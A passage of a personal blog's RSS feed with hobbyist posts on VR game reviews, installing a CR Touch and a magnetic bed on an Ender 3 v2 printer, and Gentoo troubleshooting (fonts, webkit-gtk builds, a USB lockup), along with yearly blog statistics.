   I bought Resident Evil 4, again on deal and am looking forward to playing that soon. Not to mention I bought Iron Man VR (deal) which is known for the sickness inducing flying ... what was I thinking ?!
  </p>
  <p>
   and yes, I am posting this just to have something in May :D I actually have a backlog of posts to make ... so ...
  </p>
</description>
</item>
<item>
<title>quest</title>
<pubDate>Tue, 15 Apr 2025 10:41:21 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Apr2025.html#p150420251041</link>
<description>
  <h1>
   Jurassic World Aftermath Collection VR
  </h1>
  <p>
   I had completely forgotten that I had purchased this way back in 2022 on the Quest. My youngest son had played in on my account, but I had not so much as loaded it on to my face once!
  </p>
  <p>
   It is split into two releases and I got both of them as "the collection" for the princely sum of £10.99 and it is totally worth that!
  </p>
  <p>
   First thing to strike you is the cell shaded graphics which works surprisingly well, second, is that this environment has very few interactive elements. This ensures you cannot get distracted and items that need to be manipulated are obvious and sometimes overly obvious.
  </p>
  <p>
   There is a lot of criticism around the first release being very repetitive, but there are various ways of playing. From speed running from save point to save point, to stealthily watching the dinosaurs pattern's and creeping about. Then in the second release there is huge jump in detail and variety.
  </p>
  <p>
   The game can be pretty intense and after failing multiple times early on I decided to look at a few guides. Turned out I had been playing it wrong. You
   <em>
    have to
   </em>
   physically rotate, the controller turning is just too slow! After that revelation I was able to get on fine up until the final boss encounter.
  </p>
  <p>
   That was hindered by the game not really having a sense of artificial intelligence for the dinos. Sometimes you could look them in the eye from across the room crouched under a desk, but because of their height when they would be next to the desk they could not see you and somehow that bypassed how perspective works. In the boss encounter you have a flashlight. The dino does not seem to directly relate to the use of the flashlight but always manages to find you where ever you hid. Watching a YouTube video showed that the trick is to
   <em>
    hide
   </em>
   the flashlight when she was around.
  </p>
  <p>
   These screenshots were captured in the gallery area and you unlock each dino type as you progress. It is surprisingly fun to walk up to and around the dinos you had been running and hiding from. The velociraptors are particularly pettable :P
  </p>
  <p>
   <img alt="Quest jurrasic world aftermath screen shot 1" src="/home/rednuht/projects/flog/images/quest-QW-AFTERMATH-1.jpg" title="Quest jurrasic world aftermath screen shot 1"/>
  </p>
  <p>
   <img alt="Quest jurrasic world aftermath screen shot 2" src="/home/rednuht/projects/flog/images/quest-QW-AFTERMATH-2.jpg" title="Quest jurrasic world aftermath screen shot 2"/>
  </p>
  <p>
   <img alt="Quest jurrasic world aftermath screen shot 3" src="/home/rednuht/projects/flog/images/quest-QW-AFTERMATH-3.jpg" title="Quest jurrasic world aftermath screen shot 3"/>
  </p>
  <p>
   <img alt="Quest jurrasic world aftermath screen shot 4" src="/home/rednuht/projects/flog/images/quest-QW-AFTERMATH-4.jpg" title="Quest jurrasic world aftermath screen shot 4"/>
  </p>
  <p>
   <img alt="Quest jurrasic world aftermath screen shot 5" src="/home/rednuht/projects/flog/images/quest-QW-AFTERMATH-5.jpg" title="Quest jurrasic world aftermath screen shot 5"/>
  </p>
  <p>
   <img alt="Quest jurrasic world aftermath screen shot 6" src="/home/rednuht/projects/flog/images/quest-QW-AFTERMATH-6.jpg" title="Quest jurrasic world aftermath screen shot 6"/>
  </p>
  <p>
   <img alt="Quest jurrasic world aftermath screen shot 7" src="/home/rednuht/projects/flog/images/quest-QW-AFTERMATH-7.jpg" title="Quest jurrasic world aftermath screen shot 7"/>
  </p>
  <p>
   Overall it was well worth the money and I am surprised people do not refer to it more often. I have heard it called Half Life Alyx quality, but that is pushing it too far. It
   <em>
    almost
   </em>
   became canon in the Jurassic World universe and uses a number of the original actors to voice their characters.
  </p>
  <p>
   Saw a comment that we should get a sequel "After math 2"...
  </p>
</description>
</item>
<item>
<title>touch the bed and level the printer</title>
<pubDate>Mon, 24 Mar 2025 22:07:58 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2025.html#p240320252207</link>
<description>
  <h1>
   CR Touch for the Ender 3 v2
  </h1>
  <p>
   The CR Touch bed levelling kit replaces the 3D printers Z-Level switch and maps the layout of the bed.
  </p>
  <p>
   It was not a cheap purchase at £45, but it does seem to be doing a good job. So probably worth it.
  </p>
  <p>
   I followed the video from
   <a href="https://www.youtube.com/watch?v=N3jCtuGVQ1I">
    The 3D Print Zone
   </a>
   for the Creality Ender 3 v2,
   <a href="https://www.creality.com/products/cr-touch-auto-leveling-kit">
    CR Touch
   </a>
   (not a BL Touch).
  </p>
  <p>
   This was necessary as the manual is very limited and the screenshots unreadable. It's physically tiny and the digital versions are not much better.
  </p>
  <p>
   YouTube wanted a fight and had decided to add many long Ads in the way of me skipping back and forward. There certain video types where Ads just do not fit &gt;:(
  </p>
  <p>
   There are two things the video gets a little wrong. First of all the note about jotting down your main-board version number
   <strong>
    only
   </strong>
   shows when the demonstrator and you the viewer have closed and screwed together the base access bay. This value is
   <strong>
    VERY
   </strong>
   important for selecting the correct firmware and the second is related the changes Creality have made in the interface for newer firmware. More on that later.
  </p>
  <p>
   The cable sleeve is VERY stretchable and can avoid the awkward "feeding" stage, other YouTuber's have given up and just cable-tied to the outside of the cable sheath, which is very ugly.
  </p>
  <p>
   Oh and
   <strong>
    Warning the fan cable will pull out if the panel is dislodged
   </strong>
   .
   <em>
    Ask me how I know :D
   </em>
  </p>
  <p>
   The CR touch main-board connector does not go into its socket very far and looks like you need to push further, but a closer look with a torch and there are clearly plastic flanges to ensure you cannot push it in too far.
   <em>
    Ask me how I know :D
   </em>
  </p>
  <p>
   The CR touch cable on the sensor must be put in the right way around or
   <strong>
    you risk bending the pins!
   </strong>
   <em>
    Ask me how I know :D
   </em>
  </p>
  <p>
   Once the new hardware is in place and the old Z switch disconnected, you have to tackle the software. I am not going to link to the firmware as Creality is famous for moving it. Just remember you need to get the right firmware for the version number on your main-board, see note above.
  </p>
  <p>
   I downloaded the correct firmware ZIP file and unpacked it only to find I couldn't find the SD card that came with the printer...
Maybe I could use the Raspberry Pi running OctoPrint. Well apparently you can, but it is not that easy. A short while later I had dug out a tiny SD card and it was actually the one that came with the printer. Had all my original early prints on it. Cleared all the files and copied on the
   <strong>
    .BIN
   </strong>
   file.
  </p>
  <p>
   "Insert card", will not go in. Oh wait, it has to be contacts side up!
   <em>
    Ask me how I know :D
   </em>
  </p>
  <p>
   This actually make sense as the main-board is upside down when the printer is right way up :)
  </p>
  <p>
   Following the guide on the video was not working for me...
  </p>
  <ol>
   <li>
    <code>
     Prepare
    </code>
   </li>
   <li>
    <code>
     Autohome
    </code>
   </li>
   <li>
    <code>
     Move
    </code>
   </li>
   <li>
    <code>
     Z-move
    </code>
   </li>
   <li>
    ...
   </li>
   <li>
    <strong>
     STOP!
    </strong>
    I cannot set the value to a negative number and the head is
    <em>
     way
    </em>
    above the bed!
   </li>
   <li>
    Turn it off and on again after removing the SD card, still no minus :(
   </li>
  </ol>
  <p>
   Check Info : Version is V1.0.6B  (correct for my 32bit V4.2.2 main-board)
  </p>
  <p>
   Check screen layout and the new
   <strong>
    Level
   </strong>
   icon is there! So what is going on?
  </p>
  <p>
   The firmware has changed in the years since the video was made and
   <strong>
    no one
   </strong>
   can set the
   <code>
    Z-move
   </code>
   lower than 0. But there is a new menu option in the
   <code>
    Prepare
   </code>
   menu called
   <code>
    Z-Offset
   </code>
   and this can be set negative.
Neither is this noted in the tiny manual :(
  </p>
  <p>
   In the video it is suggested you add the bed levelling command to ALL generated GCODE but ... nah!
  </p>
  <p>
   <code>
    G29 ; auto bed level
   </code>
  </p>
  <p>
   I can just hit
   <code>
    Level
   </code>
   every now and then and that works fine.
  </p>
  <p>
   I later found lots of of the 600+ YouTube comments refer to the
   <code>
    Z-Move
   </code>
   going to 0 and no lower. I made a point of replying to some of the newest ones explaining the situation.
  </p>
  <p>
   For some reason there was a pack of 5 replacement nozzles, which is nice. None of the reviews or videos I watched mentioned them or show them in the unboxing.
  </p>
  <p>
   The packing box has magnetic lid which I thought was a bit over the top but, it makes a nice resting place for the spare brackets and the redundant Z-Switch assembly :D
  </p>
  <p>
   So far all my prints have been good and I am playing with temperature and that Z-Offset to improve them further.
  </p>
  <p>
   <img alt="CR Touch attached bottom view" src="/home/rednuht/projects/flog/images/Ender3v2-cr-touch-A.jpg" title="CR Touch attached bottom view"/>
  </p>
  <p>
   <img alt="CR Touch attached front view" src="/home/rednuht/projects/flog/images/Ender3v2-cr-touch-B.jpg" title="CR Touch attached front view"/>
  </p>
</description>
</item>
<item>
<title>Hot magnetic bed with flange</title>
<pubDate>Sun, 23 Mar 2025 22:12:52 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2025.html#p230320252212</link>
<description>
  <h1>
   New magnetic bed for the Ender 3 v2
  </h1>
  <p>
   I have been planning to post about some 3D printing disasters and the minor upgrades that I have already done, but instead I am going to bypass that and blog about a magnetic bed for the Ender 3 v2.
  </p>
  <p>
   It was easy to install.
  </p>
  <p>
   1 - Remove the clips and lift off the old glass bed.
  </p>
  <p>
   2 - Clean the surface -
   <em>
    might of missed this step.
   </em>
  </p>
  <p>
   3 - Rotate the magnetic pad on the adhesive pad until it locks with magnetic polarity, then make sure you are orientating in this way when applying it to the bed.
  </p>
  <p>
   4 - Apply the adhesive pad. This looked easy, peel the backing and line up against the bed plate, but as careful as I was I still didn't get it perfectly aligned, but it's really not noticeable.
  </p>
  <p>
   That's about it.
  </p>
  <p>
   Re-level your bed. I had to manually adjust the Z-switch height physically, as the new bed is thinner and so lower than the thick original glass one.
  </p>
  <p>
   The magnetic pad can now be laid on your print bed and it will stick nicely.
  </p>
  <p>
   When the print is complete the flange on the front will be cool and can be used to lift the entire pad off in one go, then flexed to remove the print.
  </p>
  <p>
   <strong>
    Note that the rest of the pad will still be hot, so be careful when handling!
   </strong>
  </p>
  <p>
   Not sure what is going on, but my test print went too well and I had to scratch it off where the filament was laid down in the single line, the print itself was fine.
  </p>
  <p>
   <img alt="Photo of the magnetic bed attached" src="/home/rednuht/projects/flog/images/Ender3v2-magnetic-bed.jpg" title="Photo of the magnetic bed attached"/>
  </p>
</description>
</item>
<item>
<title>lone echo 2 takes the crown and flies away with it</title>
<pubDate>Mon, 24 Feb 2025 21:56:58 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Feb2025.html#p240220252156</link>
<description>
  <h1>
   Lone Echo II
  </h1>
  <p>
   You may remember me gushing about the amazing
   <a href="Dec2024.html#p301220242228">
    Lone Echo VR game
   </a>
   at the end of last year. Well I immediately bought Lone Echo II and have been playing it ever since.
  </p>
  <p>
   Lone Echo II was released in 2021 to high praise and oh my God does it deserve it!
  </p>
  <p>
   Better graphics, more detail, more character, more depth, more puzzles, more variety!
  </p>
  <p>
   I will avoid spoilers and just say you are the same character and the story starts shortly after the end of the last game. But there are upgrades and a number of twists that expand the original game play.
  </p>
  <p>
   Once again the visuals are so gorgeous that you will want to spend time just investigating nooks and crannies and taking in the views.
  </p>
  <p>
   You can speed run the story mode, but the real fun is exploring the quite expansive side missions that allow you to upgrade your equipment and then reach even harder areas.
  </p>
  <p>
   The one thing that was infuriating about the first game was the difficulties with the save game system. I am glad to say this is fixed.
  </p>
  <p>
   <img alt="1" src="/home/rednuht/projects/flog/images/LoneEcho2-20250222-213434.jpg" title="1"/>
  </p>
  <p>
   Here I have my helmet spotlight on and you can see the texture detail on the canister floating in front of me.
  </p>
  <p>
   <img alt="2" src="/home/rednuht/projects/flog/images/LoneEcho2-20250222-213311.jpg" title="2"/>
  </p>
  <p>
   Oh dear! I have stopped to stare at my hands again. The detail on the fingers and tools is above and beyond.
  </p>
  <p>
   <img alt="3" src="/home/rednuht/projects/flog/images/LoneEcho2-20250222-213111.jpg" title="3"/>
  </p>
  <p>
   So much to take in! Bottom right is the transport link which is designed for multi person cars. This gives you a little glimpse into the scale of the environment.
  </p>
  <p>
   <img alt="4" src="/home/rednuht/projects/flog/images/LoneEcho2-20250222-211746.jpg" title="4"/>
  </p>
  <p>
   Detail, detail detail! Although not quite flawless, the character animations are very expressive and textures high quality. Even the hair moves around in zero-G!
  </p>
  <p>
   <img alt="5" src="/home/rednuht/projects/flog/images/LoneEcho2-20250222-213251.jpg" title="5"/>
  </p>
  <p>
   Really!? I am looking at my hands
   <em>
    again
   </em>
   . Oh, and there are the planet's rings. You can send ages flying over and through them if you want.
  </p>
  <p>
   <img alt="6" src="/home/rednuht/projects/flog/images/LoneEcho2-20250222-212814.jpg" title="6"/>
  </p>
  <p>
   Me desperately trying to capture the scale, depth and beauty in the visuals and ... failing.
  </p>
  <p>
   Taking screen shots was not easy. I had tried to take screen shots during the 17.5 hours of game play, but found I had to come back after completing the story mode to capture some more.
  </p>
  <p>
   The yellow diamonds are distance markers to objectives, you can turn the off but ... well I didn't.
  </p>
  <p>
   There used to be a shortcut for taking in-game screen shots but it no longer works. Instead I have to pause the Virtual Desktop app, choose to take a screenshot and then rush to unpause, only to find the game has paused, resume that
   <em>
    and
   </em>
   then position my view. All this before the countdown completes.
  </p>
  <p>
   This itself sometime resulted in some tearing and motion blur, luckily only in the screenshot, the game was fine.
  </p>
  <p>
   And then, after all that, I just do not get the same
   <em>
    Wow!
   </em>
   factor as seeing these vistas within VR.
  </p>
  <p>
   The biggest problem with this and the previous game is simply its reach. As an oculus Rift only game your options include a reasonably powerful PC plus a Rift, Quest 2/3/etc or Vive (using ReVive).
  </p>
  <p>
   In a few years when the next generations of VR headsets are a reasonable price, along with powerful CPU/GPUs and loads of memory and space I
   <em>
    really
   </em>
   hope someone remakes this with even better graphics!
(and they can fix the random texture pops).
  </p>
  <p>
   Final note: This
   <em>
    is
   </em>
   better than Half Life Alyx !!
  </p>
</description>
</item>
<item>
<title>archive and yearly summary updated</title>
<pubDate>Sat, 22 Feb 2025 11:31:35 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Feb2025.html#p220220251131</link>
<description>
  <h1>
   Slightly delayed update
  </h1>
  <p>
   I may have posted the
   <a href="Feb2025.html#p200220252117">
    stats for 2024
   </a>
   a little late ... and now I have finally reviewed the posts from last year and updated the
   <a href="archive.html">
    archive
   </a>
   and the
   <a href="year2024.html">
    Year 2024 summary
   </a>
  </p>
  <p>
   As per usual, I had forgotten most of anything I had actually done. Not to mention there were some empty posts that may have been affected by the fix I noted a few days ago.
   <a href="Feb2025.html#p200220252152">
    fix I noted a few days ago.
   </a>
  </p>
  <p>
   Next on by flog list is Lone Echo II, I have completed it! and some up-down news about 3D printer-ing
  </p>
</description>
</item>
<item>
<title>who fiddled my fonts</title>
<pubDate>Thu, 20 Feb 2025 21:56:18 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Feb2025.html#p200220252156</link>
<description>
  <h1>
   What the font!
  </h1>
  <p>
   This is the second time Gentoo has fiddled my fonts, so I needed to blog about it.
  </p>
  <p>
   The text in terminal and GUI was all of a sudden a bit small and I hadn't asked for anything to be changed.
  </p>
  <p>
   Found in my root history a lot of enabling and disabling.
  </p>
  <p>
   <code>
    history | grep -i font
   </code>
  </p>
  <pre><code>...
2023-10-30 10:18:19 eselect fontconfig list
2023-10-30 10:18:58 eselect fontconfig enable 35
2023-10-30 10:19:54 eselect fontconfig disable {47..49}
2023-10-30 10:21:06 eselect fontconfig enable 36
</code></pre>
  <p>
   and when I ran
   <code>
    eselect fontconfig list
   </code>
  </p>
  <p>
   I could see new fonts enabled in the last slots
  </p>
  <pre><code>[1]   05-reset-dirs-sample.conf
[2]   09-autohint-if-no-hinting.conf
[3]   10-autohint.conf
...
[59]  70-yes-bitmaps.conf
[60]  80-delicious.conf *
[61]  90-synthetic.conf *
</code></pre>
  <p>
   then a quick
   <code>
    eselect fontconfig disable {60..61}
   </code>
  </p>
  <p>
   instantly brought back my easy to read fonts :D
  </p>
</description>
</item>
<item>
<title>failure and fix</title>
<pubDate>Thu, 20 Feb 2025 21:52:46 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Feb2025.html#p200220252152</link>
<description>
  <h1>
   What went wrong?
  </h1>
  <p>
   So I dutifully ran my yearly summary script that I wrote last year and it generated all the stats and all the graphs.
  </p>
  <p>
   I created the flog blog post but failed to export the resulting file, not to mention completely forgetting to include the graphs.
  </p>
  <p>
   I have now added a trap that cancels the upload process if the file is empty.
  </p>
  <pre><code>if ! find . -name "daily.html" -size +1c | grep -q .; then
  echo "The daily.html file has not been updated so I quit"
  exit
fi
</code></pre>
  <p>
   So I cannot accidentally post empty posts, again :)
  </p>
  <p>
   As part of the process I create "daily.html" with a single space character. This is to remind me to update this file and it shows as the latest file in the file explorer.
  </p>
  <p>
   The
   <code>
    if !
   </code>
   is checking for a negative outcome (non 0 exit code).
The
   <code>
    find
   </code>
   is looking for files with more than 1 character and
   <code>
    grep -q
   </code>
   checks the output and returns only an exit code
   <code>
    -q
   </code>
   is quiet.
  </p>
  <p>
   <code>
    find
   </code>
   returns the files it finds and uses exit codes only for error conditions.
  </p>
</description>
</item>
<item>
<title>the missing graphs</title>
<pubDate>Thu, 20 Feb 2025 21:42:04 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Feb2025.html#p200220252142</link>
<description>
  <h1>
   Graphs!
  </h1>
  <p>
   Here are the graphs for 2024
  </p>
  <p>
   March had no posts while June and July had the long posts.
  </p>
  <p>
   <img alt="summary graph 1" src="/home/rednuht/projects/flog/images/plot_2024.png" title="summary graph 1"/>
  </p>
  <p>
   The same information but logarithmic showing there were a lot of months with images.
  </p>
  <p>
   <img alt="summary graph 2" src="/home/rednuht/projects/flog/images/plot_log_tall_2024.png" title="summary graph 2"/>
  </p>
  <p>
   Number of images vs post count shows images out number posts.
  </p>
  <p>
   <img alt="summary graph 3" src="/home/rednuht/projects/flog/images/plot_no_log_short_2024.png" title="summary graph 3"/>
  </p>
  <p>
   A different view of the count of posts verses the length of those posts.
  </p>
  <p>
   <img alt="summary graph 4" src="/home/rednuht/projects/flog/images/plot_no_log_short_part_2_2024.png" title="summary graph 4"/>
  </p>
  <p>
   and the raw data
  </p>
  <pre><code>"Month","Count","Length","Images"
"Jan",3,47,9
"Feb",2,28,0
"Mar",0,0,0
"Apr",1,15,0
"May",5,66,10
"Jun",9,104,9
"Jul",8,115,12
"Aug",2,27,8
"Sep",1,20,1
"Oct",1,10,0
"Nov",2,20,0
"Dec",3,45,8
</code></pre>
  <p>
   Next post I will describe the issue that left all these lovely stats stuck in Feb after flubbing January.
  </p>
</description>
</item>
<item>
<title>stats of 2024 again</title>
<pubDate>Thu, 20 Feb 2025 21:17:19 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Feb2025.html#p200220252117</link>
<description>
  <h1>
   It's 2025!
  </h1>
  <p>
   but in 2024 the blog flogged
  </p>
  <p>
   Number of posts: 37
  </p>
  <p>
   Total tags (recorded in the system): 2216
  </p>
  <p>
   Of which were used in 2024: 305
  </p>
  <p>
   and of which were new in 2024: 93
  </p>
  <p>
   Top tags
   <br/>
   6
   <a href="f-log/tagging/json.xml">
    json.xml
   </a>
   <br/>
   6
   <a href="f-log/tagging/jq.xml">
    jq.xml
   </a>
   <br/>
   6
   <a href="f-log/tagging/gentoo.xml">
    gentoo.xml
   </a>
   <br/>
   5
   <a href="f-log/tagging/flog.xml">
    flog.xml
   </a>
   <br/>
   5
   <a href="f-log/tagging/fail.xml">
    fail.xml
   </a>
  </p>
  <p>
   See the whole year in
   <a href="year2024.html">
    Year 2024 summary
   </a>
  </p>
  <p>
   See 22 years of posts in
   <a href="archive.html">
    The archive
   </a>
  </p>
  <p>
   Lots going on. Currently playing Lone Echo II and there has been some rumblings in the 3D printing area :D
  </p>
</description>
</item>
<item>
<title>it is 2025</title>
<pubDate>Fri, 31 Jan 2025 21:28:54 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2025.html#p310120252128</link>
<description>
</description>
</item>
<item>
<title>Lone Echo a vr replay</title>
<pubDate>Mon, 30 Dec 2024 22:28:48 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Dec2024.html#p301220242228</link>
<description>
  <h1>
   Lone Echo (replay)
  </h1>
  <h2>
   What is Lone Echo?
  </h2>
  <p>
   Lone Echo is a PC VR space adventure game with quality on par with Halflife Alyx.
Created by Ready At Dawn back in 2017 and published by Oculus Studios, it sees you as a robot (Echo Unit) assisting your captain.
  </p>
  <p>
   As you might expect, something goes wrong and it is your job to find out what.
  </p>
  <p>
   The amount of detail in this game is something else, even rivalling HL Alyx. What with random items floating about in zero-G you can interact with to sub story subtle clues if you choose to follow them.
  </p>
  <p>
   Floating about in space should make me sick, but some how the jet propulsion just works and I can grab just about any surface to stop myself. There was one exception, there is a scuba diver jet pack thing you can use to quickly move between large areas. Using that made me sick, but it was completely optional and the other transports did not make me sick. These were fixed route.
  </p>
  <p>
   I can not get across how nice this game looks and plays. There are lots of optional hidden items to be found and amazing backdrops and just interesting architecture. I spent a long time just staring at stuff and exploring :D
  </p>
  <p>
   The game is broken up into two distinct phases, the exploration phase and the other phase. I am not going to go into details, but the second phase is much more intense and you will die often.
  </p>
  <p>
   I am sure you could speed run the entire thing, but to me the best experience is to linger, explore and experiment. For instance there is a strange controller floating about in one of the compartments and if you take your time to try it out you find it controls a mini remote controlled ship.
  </p>
  <p>
   Everything just feels nice and solid and so many things are interactive. Not to mention detailed. There were so many tiny details that just makes it so exciting to find something new.
  </p>
  <h2>
   Replay?
  </h2>
  <p>
   I had played Lone Echo on the Quest years ago, but it was a on my 2016 VR laptop and was not a good experience.
Frame drops, low graphics settings, yet the game was so much fun and so compelling I always wanted to revisit it.
  </p>
  <h2>
   The setup
  </h2>
  <p>
   I had a Windows 10 licence that came with my 2019 PC, but I had quickly cloned the drive and replaced it with Gentoo.
There doesn't appear to be any way to play Rift games on Linux so ... time to reconnect the old hard drive. Sadly it is an old spinning rust hard drive and very noisy, but it does work ...
  </p>
  <p>
   Installed Meta software, got confirmation that my USB port was version 3 and the cable was also USB 3 and validated then ...
  </p>
  <h2>
   The failure
  </h2>
  <p>
   Whatever I did, the headset would not show the game/app, just a black screen with three dots, but the sound of the game would come through the headset.
Conversely, the game would show in a window on Windows and would show the headset camera tracking and controllers accurately.
  </p>
  <p>
   So the connection with the cable is working.
The software is connecting to headset.
The headset is being picked up and used by the VR games.
  </p>
  <h3>
   Wifi is not an option
  </h3>
  <p>
   I have an Ethernet wired connection to my PC as the wifi is so bad in the office. This means that using the wireless air-link option is not any good. Not to mention, it is Ethernet-over-mains, not that I have seen any speed or bandwidth problems with that.
  </p>
  <h3>
   OK Wifi is an option
  </h3>
  <p>
   I had bought the third party app
   <strong>
    Virtual Desktop
   </strong>
   day one when I got the Quest and had only needed it a few times. Now I was able to set it up and then take the headset downstairs to where the Wifi router is and now I can play Lone Echo !!
  </p>
  <p>
   What was weird was that I had a drawn the virtual play area in the office and as I walked out of the room and then down the stairs with the headset on I could see it the whole time. That was when I looked back and eventually up. It was very disconcerting how accurately I could see the play area drawn one floor up and on the other side of the house through the ceiling!
  </p>
  <h2>
   The Game
  </h2>
  <p>
   I do not want to spoil any of the surprises and take away from the hours of floating about :D
  </p>
  <p>
   Just make sure to touch and grab hold of the NPCs to get some interesting reactions ;)
  </p>
  <p>
   But just look at these screen shots!
  </p>
  <p>
   <img alt="Lone Echo VR screen shot - nice view" src="/home/rednuht/projects/flog/images/LoneEcho-20241108-202222.jpg" title="Lone Echo VR screen shot - nice view"/>
   <em>
    the view out here is breath taking
   </em>
  </p>
  <p>
   <img alt="Lone Echo VR screen shot - nice hands" src="/home/rednuht/projects/flog/images/LoneEcho-20241108-202257.jpg" title="Lone Echo VR screen shot - nice hands"/>
   <em>
    just admiring the details in the hand and arm models. It is too old to do hand-tracking but the controllers detect a surprising amount of variety.
   </em>
  </p>
  <p>
   <img alt="Lone Echo VR screen shot - nice legs" src="/home/rednuht/projects/flog/images/LoneEcho-20241108-202746.jpg" title="Lone Echo VR screen shot - nice legs"/>
   <em>
    admiring my legs and the view
   </em>
  </p>
  <p>
   <img alt="Lone Echo VR screen shot - corroded arms" src="/home/rednuht/projects/flog/images/LoneEcho-20241108-205915.jpg" title="Lone Echo VR screen shot - corroded arms"/>
   <em>
    oops! might need to fix myself up a bit
   </em>
  </p>
  <p>
   <img alt="Lone Echo VR screen shot - reaching out" src="/home/rednuht/projects/flog/images/LoneEcho-20241108-212524.jpg" title="Lone Echo VR screen shot - reaching out"/>
   <em>
    reaching out
   </em>
  </p>
  <p>
   <img alt="Lone Echo VR screen shot - what a big ship you have" src="/home/rednuht/projects/flog/images/LoneEcho-20241109-220115.jpg" title="Lone Echo VR screen shot - what a big ship you have"/>
   <em>
    this thing is Huge with a capital H
   </em>
  </p>
  <p>
   <img alt="Lone Echo VR screen shot - inner beauty" src="/home/rednuht/projects/flog/images/LoneEcho-20241110-225622.jpg" title="Lone Echo VR screen shot - inner beauty"/>
   <em>
    going back inside, it's cold out here!
   </em>
  </p>
  <p>
   <img alt="Lone Echo VR screen shot - somethings gone wrong" src="/home/rednuht/projects/flog/images/LoneEcho-20241111-203642.jpg" title="Lone Echo VR screen shot - somethings gone wrong"/>
   <em>
    Red alert! has something gone wrong and now I need to investigate?
   </em>
  </p>
  <h2>
   It's not perfect
  </h2>
  <p>
   One thing Lone Echo does badly is saving progress. If you complete obvious story arc tasks then it saves no problem, but if you are just trying to find the hidden bonuses then you have just * hope * it saves your progress. The workaround is to deliberately ignore story tasks and then collect items, then complete the story arc just to get it to save. This can be a pain when the story segments are long and complicated.
  </p>
  <p>
   Apparently, when saving there is a notification in game, but I have never seen it.
  </p>
  <h2>
   Wait, there is another
  </h2>
  <p>
   Lone Echo II ...
  </p>
</description>
</item>
<item>
<title>Lone Echo a vr replay</title>
<pubDate>Mon, 30 Dec 2024 22:26:22 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Dec2024.html#p301220242226</link>
<description>
</description>
</item>
<item>
<title>webkit-gtk ate my cpu cores</title>
<pubDate>Mon, 30 Dec 2024 21:34:31 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Dec2024.html#p301220242134</link>
<description>
  <p>
   Gentoo normally behaves well and I do too, but sometimes ...
  </p>
  <p>
   Standard
   <em>
    emerge
   </em>
   <strong>
    sync
   </strong>
   lists the packages I should update. On that list is
   <code>
    net-libs/webkit-gtk
   </code>
   and I know it is one of the most time consuming compilation tasks, apart from Firefox.
  </p>
  <p>
   Kick off the install and come back hours later to find it failed ... bit strange and there is no obvious error, it just failed :(
  </p>
  <p>
   I quick(
   <em>
    long
   </em>
   ) bit of Googling and I can see numerous people have had issues for many years and just about all the fixes are memory and CPU resource related.
  </p>
  <p>
   Long story short, I force
   <em>
    emerged
   </em>
   it with reduced resources and it worked!!
  </p>
  <p>
   The long story long, it took 7 hours 5 minutes and 18 seconds rather than the usual 1h30 :(
  </p>
  <p>
   Settings that the emerge install command uses normally
  </p>
  <p>
   time 1h30m
  </p>
  <p>
   <code>
    MAKEOPTS="-j6 -l0" emerge -av net-libs/webkit-gtk
   </code>
  </p>
  <p>
   and the reduced CPU core and thread count
  </p>
  <p>
   <code>
    MAKEOPTS="-j4 -l2" emerge -av net-libs/webkit-gtk
   </code>
  </p>
  <p>
   I could probably fine tune the parameters, but each test run is going to take 1h30+ so maybe I will just live with it for the moment.
  </p>
  <p>
   Does feel really strange that the issue is the same for so many years and Linux is normally really good at coping with resource starvation. I remember being able to run a Linux system with no free disk space and even though it was slow I could run enough commands to recover. On Windows that is a GAME OVER scenario :D
  </p>
  <p>
   If you are interested this the command to get the time the emerge took.
  </p>
  <pre><code>qlop --color -Html | grep -Eo "&gt;&gt;&gt;.+(minute|hour).+"
&gt;&gt;&gt; net-libs/webkit-gtk: 7 hours, 5 minutes, 18 seconds
</code></pre>
</description>
</item>
<item>
<title>what the usb</title>
<pubDate>Mon, 11 Nov 2024 09:57:14 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Nov2024.html#p111120240957</link>
<description>
  <h1>
   What the USB?
  </h1>
  <p>
   My mouse stopped responding and the keyboard didn't react. The lights on both stayed on.
  </p>
  <p>
   Hmmm, they are both plugged into my monitor as a USB hub (never been a problem).
  </p>
  <ul>
   <li>
    Step one: Unplug and re-plug mouse into monitor. Mouse stays dark.
   </li>
   <li>
    Step two: Unplug and re-plug monitor into USB 3 port on the motherboard.  Now both the mouse and keyboard are dark.
   </li>
   <li>
    Step three: Plug mouse into other USB 3 port on the motherboard. Dead.
   </li>
   <li>
    Step four: Unplug all USB devices and plug mouse into USB 2 port on motherboard. DEAD!
   </li>
   <li>
    Step five: PANIC!! but notice that the
    <code>
     Conky
    </code>
    on screen display is updating...
   </li>
   <li>
    <em>
     Step other: ...
    </em>
   </li>
   <li>
    Step six: Press RESET Button and re-plug everything into their normal ports.
   </li>
  </ul>
  <p>
   Everything comes up normally and works fine...
  </p>
  <p>
   What did I do before it all went haywire?
  </p>
  <p>
   Plugged in my phone to the USB port on the monitor and used
   <code>
    adb
   </code>
   to transfer a single file, unplugged it and boom, that's when the mouse stopped moving.
  </p>
  <p>
   I have been using Linux in various forms for over 25 years, but I have never seen this happen before.
  </p>
  <p>
   Looking at the
   <code>
    /var/log/messages
   </code>
   and
   <code>
    /var/log/kern.log
   </code>
   there is no smoking gun. Just lots of different messages about me unplugging and re-plugging USB devices into various ports.
  </p>
  <p>
   There was a single log in messages that seemed a little off
  </p>
  <pre><code>xhci_hcd 0000:00:14.0: Timeout while waiting for setup device command
</code></pre>
  <p>
   But that is pretty generic, so, I guess I just get on with my life and try and forget it...
  </p>
  <p>
   <em>
    Step other:
   </em>
   Should have been to
   <code>
    ssh
   </code>
   in from my phone and restart cleanly. That would have been the well thought out and considered approach. :D
  </p>
</description>
</item>
<item>
<title>trouble with the kan</title>
<pubDate>Mon, 04 Nov 2024 21:47:04 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Nov2024.html#p041120242147</link>
<description>
  <h1>
   Trouble with the Kan
  </h1>
  <p>
